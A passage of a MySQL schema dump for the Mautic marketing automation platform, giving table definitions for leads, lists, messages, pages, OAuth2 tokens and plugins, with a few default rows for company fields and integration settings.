(41, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Annual Revenue', 'companyannual_revenue', 'number', 'professional', NULL, 0, 0, 1, 0, 1, 0, 0, 0, 64, 13, 'company', 'a:2:{s:9:\"roundmode\";i:4;s:5:\"scale\";i:2;}', 0, 0, 0, '0e4d1ba7-1eba-4e50-bab7-071d1fc3fd01'),
(42, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Industry', 'companyindustry', 'select', 'professional', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 14, 'company', 'a:1:{s:4:\"list\";a:41:{i:0;a:2:{s:5:\"label\";s:19:\"Aerospace & Defense\";s:5:\"value\";s:19:\"Aerospace & Defense\";}i:1;a:2:{s:5:\"label\";s:11:\"Agriculture\";s:5:\"value\";s:11:\"Agriculture\";}i:2;a:2:{s:5:\"label\";s:7:\"Apparel\";s:5:\"value\";s:7:\"Apparel\";}i:3;a:2:{s:5:\"label\";s:21:\"Automotive & Assembly\";s:5:\"value\";s:21:\"Automotive & Assembly\";}i:4;a:2:{s:5:\"label\";s:7:\"Banking\";s:5:\"value\";s:7:\"Banking\";}i:5;a:2:{s:5:\"label\";s:13:\"Biotechnology\";s:5:\"value\";s:13:\"Biotechnology\";}i:6;a:2:{s:5:\"label\";s:9:\"Chemicals\";s:5:\"value\";s:9:\"Chemicals\";}i:7;a:2:{s:5:\"label\";s:14:\"Communications\";s:5:\"value\";s:14:\"Communications\";}i:8;a:2:{s:5:\"label\";s:12:\"Construction\";s:5:\"value\";s:12:\"Construction\";}i:9;a:2:{s:5:\"label\";s:23:\"Consumer Packaged Goods\";s:5:\"value\";s:23:\"Consumer Packaged Goods\";}i:10;a:2:{s:5:\"label\";s:9:\"Education\";s:5:\"value\";s:9:\"Education\";}i:11;a:2:{s:5:\"label\";s:11:\"Electronics\";s:5:\"value\";s:11:\"Electronics\";}i:12;a:2:{s:5:\"label\";s:6:\"Energy\";s:5:\"value\";s:6:\"Energy\";}i:13;a:2:{s:5:\"label\";s:11:\"Engineering\";s:5:\"value\";s:11:\"Engineering\";}i:14;a:2:{s:5:\"label\";s:13:\"Entertainment\";s:5:\"value\";s:13:\"Entertainment\";}i:15;a:2:{s:5:\"label\";s:13:\"Environmental\";s:5:\"value\";s:13:\"Environmental\";}i:16;a:2:{s:5:\"label\";s:7:\"Finance\";s:5:\"value\";s:7:\"Finance\";}i:17;a:2:{s:5:\"label\";s:15:\"Food & Beverage\";s:5:\"value\";s:15:\"Food & Beverage\";}i:18;a:2:{s:5:\"label\";s:10:\"Government\";s:5:\"value\";s:10:\"Government\";}i:19;a:2:{s:5:\"label\";s:10:\"Healthcare\";s:5:\"value\";s:10:\"Healthcare\";}i:20;a:2:{s:5:\"label\";s:11:\"Hospitality\";s:5:\"value\";s:11:\"Hospitality\";}i:21;a:2:{s:5:\"label\";s:9:\"Insurance\";s:5:\"value\";s:9:\"Insurance\";}i:22;a:2:{s:5:\"label\";s:9:\"Machinery\";s:5:\"value\";s:9:\"Machinery\";}i:23;a:2:{s:5:\"label\";s:13:\"Manufacturing\";s:5:\"value\";s:13:\"Manufacturing\";}i:24;a:2:{s:5:\"label\";s:5:\"Media\";s:5:\"value\";s:5:\"Media\";}i:25;a:2:{s:5:\"label\";s:15:\"Metals & Mining\";s:5:\"value\";s:15:\"Metals & Mining\";}i:26;a:2:{s:5:\"label\";s:14:\"Not for Profit\";s:5:\"value\";s:14:\"Not for Profit\";}i:27;a:2:{s:5:\"label\";s:9:\"Oil & Gas\";s:5:\"value\";s:9:\"Oil & Gas\";}i:28;a:2:{s:5:\"label\";s:17:\"Packaging & Paper\";s:5:\"value\";s:17:\"Packaging & Paper\";}i:29;a:2:{s:5:\"label\";s:36:\"Private Equity & Principal Investors\";s:5:\"value\";s:36:\"Private Equity & Principal Investors\";}i:30;a:2:{s:5:\"label\";s:10:\"Recreation\";s:5:\"value\";s:10:\"Recreation\";}i:31;a:2:{s:5:\"label\";s:11:\"Real Estate\";s:5:\"value\";s:11:\"Real Estate\";}i:32;a:2:{s:5:\"label\";s:6:\"Retail\";s:5:\"value\";s:6:\"Retail\";}i:33;a:2:{s:5:\"label\";s:14:\"Semiconductors\";s:5:\"value\";s:14:\"Semiconductors\";}i:34;a:2:{s:5:\"label\";s:8:\"Shipping\";s:5:\"value\";s:8:\"Shipping\";}i:35;a:2:{s:5:\"label\";s:13:\"Social Sector\";s:5:\"value\";s:13:\"Social Sector\";}i:36;a:2:{s:5:\"label\";s:10:\"Technology\";s:5:\"value\";s:10:\"Technology\";}i:37;a:2:{s:5:\"label\";s:18:\"Telecommunications\";s:5:\"value\";s:18:\"Telecommunications\";}i:38;a:2:{s:5:\"label\";s:14:\"Transportation\";s:5:\"value\";s:14:\"Transportation\";}i:39;a:2:{s:5:\"label\";s:9:\"Utilities\";s:5:\"value\";s:9:\"Utilities\";}i:40;a:2:{s:5:\"label\";s:5:\"Other\";s:5:\"value\";s:5:\"Other\";}}}', 0, 0, 0, '9cb90d0d-e9c3-4685-8da8-ef0f214581b9'),
(43, 1, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Description', 'companydescription', 'text', 'professional', NULL, 0, 1, 1, 0, 1, 0, 0, 0, 64, 15, 'company', 'a:0:{}', 0, 0, 0, '5b49871b-99c0-464c-8d16-51d945eda8e2');

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]lead_frequencyrules`
--

CREATE TABLE `[[dbprefix]]lead_frequencyrules` (
  `id` int(10) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `date_added` datetime NOT NULL,
  `frequency_number` smallint(6) DEFAULT NULL,
  `frequency_time` varchar(25) DEFAULT NULL,
  `channel` varchar(191) NOT NULL,
  `preferred_channel` tinyint(1) NOT NULL,
  `pause_from_date` datetime DEFAULT NULL,
  `pause_to_date` datetime DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]lead_ips_xref`
--

CREATE TABLE `[[dbprefix]]lead_ips_xref` (
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `ip_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]lead_lists`
--

CREATE TABLE `[[dbprefix]]lead_lists` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `alias` varchar(191) NOT NULL,
  `public_name` varchar(191) NOT NULL,
  `filters` longtext NOT NULL COMMENT '(DC2Type:array)',
  `is_global` tinyint(1) NOT NULL,
  `is_preference_center` tinyint(1) NOT NULL,
  `last_built_date` datetime DEFAULT NULL,
  `last_built_time` double DEFAULT NULL,
  `deleted` datetime DEFAULT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]lead_lists_leads`
--

CREATE TABLE `[[dbprefix]]lead_lists_leads` (
  `leadlist_id` int(10) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `date_added` datetime NOT NULL,
  `manually_removed` tinyint(1) NOT NULL,
  `manually_added` tinyint(1) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]lead_list_projects_xref`
--

CREATE TABLE `[[dbprefix]]lead_list_projects_xref` (
  `leadlist_id` int(10) UNSIGNED NOT NULL,
  `project_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]lead_notes`
--

CREATE TABLE `[[dbprefix]]lead_notes` (
  `id` int(10) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `text` longtext NOT NULL,
  `type` varchar(50) DEFAULT NULL,
  `date_time` datetime DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]lead_points_change_log`
--

CREATE TABLE `[[dbprefix]]lead_points_change_log` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `ip_id` int(10) UNSIGNED DEFAULT NULL,
  `group_id` int(10) UNSIGNED DEFAULT NULL,
  `type` tinytext NOT NULL,
  `event_name` varchar(191) NOT NULL,
  `action_name` varchar(191) NOT NULL,
  `delta` int(11) NOT NULL,
  `date_added` datetime NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]lead_stages_change_log`
--

CREATE TABLE `[[dbprefix]]lead_stages_change_log` (
  `id` int(10) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `stage_id` int(10) UNSIGNED DEFAULT NULL,
  `event_name` varchar(191) NOT NULL,
  `action_name` varchar(191) NOT NULL,
  `date_added` datetime NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]lead_tags`
--

CREATE TABLE `[[dbprefix]]lead_tags` (
  `id` int(10) UNSIGNED NOT NULL,
  `tag` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]lead_tags_xref`
--

CREATE TABLE `[[dbprefix]]lead_tags_xref` (
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `tag_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]lead_utmtags`
--

CREATE TABLE `[[dbprefix]]lead_utmtags` (
  `id` int(10) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `date_added` datetime NOT NULL,
  `query` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `referer` longtext DEFAULT NULL,
  `remote_host` varchar(191) DEFAULT NULL,
  `url` longtext DEFAULT NULL,
  `user_agent` longtext DEFAULT NULL,
  `utm_campaign` varchar(191) DEFAULT NULL,
  `utm_content` varchar(191) DEFAULT NULL,
  `utm_medium` varchar(191) DEFAULT NULL,
  `utm_source` varchar(191) DEFAULT NULL,
  `utm_term` varchar(191) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]messages`
--

CREATE TABLE `[[dbprefix]]messages` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `publish_up` datetime DEFAULT NULL,
  `publish_down` datetime DEFAULT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]message_channels`
--

CREATE TABLE `[[dbprefix]]message_channels` (
  `id` int(10) UNSIGNED NOT NULL,
  `message_id` int(10) UNSIGNED NOT NULL,
  `channel` varchar(191) NOT NULL,
  `channel_id` int(11) DEFAULT NULL,
  `properties` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '(DC2Type:json)' CHECK (json_valid(`properties`)),
  `is_enabled` tinyint(1) NOT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]message_projects_xref`
--

CREATE TABLE `[[dbprefix]]message_projects_xref` (
  `message_id` int(10) UNSIGNED NOT NULL,
  `project_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]message_queue`
--

CREATE TABLE `[[dbprefix]]message_queue` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `event_id` int(10) UNSIGNED DEFAULT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `channel` varchar(191) NOT NULL,
  `channel_id` int(11) NOT NULL,
  `priority` smallint(6) NOT NULL,
  `max_attempts` smallint(6) NOT NULL,
  `attempts` smallint(6) NOT NULL,
  `success` tinyint(1) NOT NULL,
  `status` varchar(191) NOT NULL,
  `date_published` datetime DEFAULT NULL,
  `scheduled_date` datetime DEFAULT NULL,
  `last_attempt` datetime DEFAULT NULL,
  `date_sent` datetime DEFAULT NULL,
  `options` longtext DEFAULT NULL COMMENT '(DC2Type:array)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]monitoring`
--

CREATE TABLE `[[dbprefix]]monitoring` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `title` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `lists` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `network_type` varchar(191) DEFAULT NULL,
  `revision` int(11) NOT NULL,
  `stats` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `properties` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `publish_up` datetime DEFAULT NULL,
  `publish_down` datetime DEFAULT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]monitoring_leads`
--

CREATE TABLE `[[dbprefix]]monitoring_leads` (
  `monitor_id` int(10) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `date_added` datetime NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]monitor_post_count`
--

CREATE TABLE `[[dbprefix]]monitor_post_count` (
  `id` int(10) UNSIGNED NOT NULL,
  `monitor_id` int(10) UNSIGNED DEFAULT NULL,
  `post_date` date NOT NULL,
  `post_count` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]notifications`
--

CREATE TABLE `[[dbprefix]]notifications` (
  `id` int(10) UNSIGNED NOT NULL,
  `user_id` int(10) UNSIGNED NOT NULL,
  `type` varchar(25) DEFAULT NULL,
  `header` varchar(512) DEFAULT NULL,
  `message` longtext NOT NULL,
  `date_added` datetime NOT NULL,
  `icon_class` varchar(191) DEFAULT NULL,
  `is_read` tinyint(1) NOT NULL,
  `deduplicate` varchar(32) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]oauth2_accesstokens`
--

CREATE TABLE `[[dbprefix]]oauth2_accesstokens` (
  `id` int(11) NOT NULL,
  `client_id` int(10) UNSIGNED NOT NULL,
  `user_id` int(10) UNSIGNED DEFAULT NULL,
  `token` varchar(191) NOT NULL,
  `expires_at` bigint(20) DEFAULT NULL,
  `scope` varchar(191) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]oauth2_authcodes`
--

CREATE TABLE `[[dbprefix]]oauth2_authcodes` (
  `id` int(11) NOT NULL,
  `client_id` int(10) UNSIGNED NOT NULL,
  `user_id` int(10) UNSIGNED NOT NULL,
  `token` varchar(191) NOT NULL,
  `expires_at` bigint(20) DEFAULT NULL,
  `scope` varchar(191) DEFAULT NULL,
  `redirect_uri` longtext NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]oauth2_clients`
--

CREATE TABLE `[[dbprefix]]oauth2_clients` (
  `id` int(10) UNSIGNED NOT NULL,
  `role_id` int(10) UNSIGNED DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `random_id` varchar(191) NOT NULL,
  `secret` varchar(191) NOT NULL,
  `redirect_uris` longtext NOT NULL COMMENT '(DC2Type:array)',
  `allowed_grant_types` longtext NOT NULL COMMENT '(DC2Type:array)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]oauth2_refreshtokens`
--

CREATE TABLE `[[dbprefix]]oauth2_refreshtokens` (
  `id` int(11) NOT NULL,
  `client_id` int(10) UNSIGNED NOT NULL,
  `user_id` int(10) UNSIGNED NOT NULL,
  `token` varchar(191) NOT NULL,
  `expires_at` bigint(20) DEFAULT NULL,
  `scope` varchar(191) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]oauth2_user_client_xref`
--

CREATE TABLE `[[dbprefix]]oauth2_user_client_xref` (
  `client_id` int(10) UNSIGNED NOT NULL,
  `user_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]pages`
--

CREATE TABLE `[[dbprefix]]pages` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED DEFAULT NULL,
  `translation_parent_id` int(10) UNSIGNED DEFAULT NULL,
  `variant_parent_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `title` varchar(191) NOT NULL,
  `alias` varchar(191) NOT NULL,
  `template` varchar(191) DEFAULT NULL,
  `custom_html` longtext DEFAULT NULL,
  `content` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `publish_up` datetime DEFAULT NULL,
  `publish_down` datetime DEFAULT NULL,
  `hits` int(11) NOT NULL,
  `unique_hits` int(11) NOT NULL,
  `variant_hits` int(11) NOT NULL,
  `revision` int(11) NOT NULL,
  `meta_description` varchar(191) DEFAULT NULL,
  `head_script` longtext DEFAULT NULL,
  `footer_script` longtext DEFAULT NULL,
  `redirect_type` varchar(100) DEFAULT NULL,
  `redirect_url` varchar(2048) DEFAULT NULL,
  `is_preference_center` tinyint(1) DEFAULT NULL,
  `no_index` tinyint(1) DEFAULT NULL,
  `public_preview` tinyint(1) DEFAULT NULL,
  `lang` varchar(191) NOT NULL,
  `variant_settings` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `variant_start_date` datetime DEFAULT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)',
  `version` int(10) UNSIGNED NOT NULL DEFAULT 1
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]pages_draft`
--

CREATE TABLE `[[dbprefix]]pages_draft` (
  `id` int(10) UNSIGNED NOT NULL,
  `page_id` int(10) UNSIGNED NOT NULL,
  `html` longtext DEFAULT NULL,
  `template` varchar(191) DEFAULT NULL,
  `public_preview` tinyint(1) NOT NULL DEFAULT 1
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]page_hits`
--

CREATE TABLE `[[dbprefix]]page_hits` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `page_id` int(10) UNSIGNED DEFAULT NULL,
  `redirect_id` bigint(20) UNSIGNED DEFAULT NULL,
  `email_id` int(10) UNSIGNED DEFAULT NULL,
  `lead_id` bigint(20) UNSIGNED DEFAULT NULL,
  `ip_id` int(10) UNSIGNED DEFAULT NULL,
  `device_id` bigint(20) UNSIGNED DEFAULT NULL,
  `date_hit` datetime NOT NULL,
  `date_left` datetime DEFAULT NULL,
  `country` varchar(191) DEFAULT NULL,
  `region` varchar(191) DEFAULT NULL,
  `city` varchar(191) DEFAULT NULL,
  `isp` varchar(191) DEFAULT NULL,
  `organization` varchar(191) DEFAULT NULL,
  `code` int(11) NOT NULL,
  `referer` longtext DEFAULT NULL,
  `url` longtext DEFAULT NULL,
  `url_title` varchar(191) DEFAULT NULL,
  `user_agent` longtext DEFAULT NULL,
  `remote_host` varchar(191) DEFAULT NULL,
  `page_language` varchar(191) DEFAULT NULL,
  `browser_languages` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `tracking_id` varchar(191) NOT NULL,
  `source` varchar(191) DEFAULT NULL,
  `source_id` int(11) DEFAULT NULL,
  `query` longtext DEFAULT NULL COMMENT '(DC2Type:array)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]page_projects_xref`
--

CREATE TABLE `[[dbprefix]]page_projects_xref` (
  `page_id` int(10) UNSIGNED NOT NULL,
  `project_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]page_redirects`
--

CREATE TABLE `[[dbprefix]]page_redirects` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `redirect_id` varchar(25) NOT NULL,
  `url` longtext NOT NULL,
  `hits` int(11) NOT NULL,
  `unique_hits` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]permissions`
--

CREATE TABLE `[[dbprefix]]permissions` (
  `id` int(10) UNSIGNED NOT NULL,
  `role_id` int(10) UNSIGNED NOT NULL,
  `bundle` varchar(50) NOT NULL,
  `name` varchar(50) NOT NULL,
  `bitwise` int(11) NOT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]plugins`
--

CREATE TABLE `[[dbprefix]]plugins` (
  `id` int(10) UNSIGNED NOT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `is_missing` tinyint(1) NOT NULL,
  `bundle` varchar(50) NOT NULL,
  `version` varchar(191) DEFAULT NULL,
  `author` varchar(191) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

--
-- Dumping data for table `[[dbprefix]]plugins`
--

INSERT INTO `[[dbprefix]]plugins` VALUES
(1, 'GrapesJS Builder', 'GrapesJS Builder with MJML support for Mautic', 0, 'GrapesJsBuilderBundle', '1.0.0', 'Mautic Community');

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]plugin_integration_settings`
--

CREATE TABLE `[[dbprefix]]plugin_integration_settings` (
  `id` int(11) NOT NULL,
  `plugin_id` int(10) UNSIGNED DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `is_published` tinyint(1) NOT NULL,
  `supported_features` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `api_keys` longtext NOT NULL COMMENT '(DC2Type:array)',
  `feature_settings` longtext DEFAULT NULL COMMENT '(DC2Type:array)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

--
-- Dumping data for table `[[dbprefix]]plugin_integration_settings`
--

INSERT INTO `[[dbprefix]]plugin_integration_settings` VALUES
(1, 1, 'GrapesJsBuilder', 1, 'a:0:{}', 'a:0:{}', 'a:0:{}'),
(2, NULL, 'OneSignal', 0, 'a:4:{i:0;s:6:\"mobile\";i:1;s:20:\"landing_page_enabled\";i:2;s:28:\"welcome_notification_enabled\";i:3;s:21:\"tracking_page_enabled\";}', 'a:0:{}', 'a:0:{}'),
(3, NULL, 'Twilio', 0, 'a:0:{}', 'a:0:{}', 'a:0:{}');

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]points`
--

CREATE TABLE `[[dbprefix]]points` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED DEFAULT NULL,
  `group_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
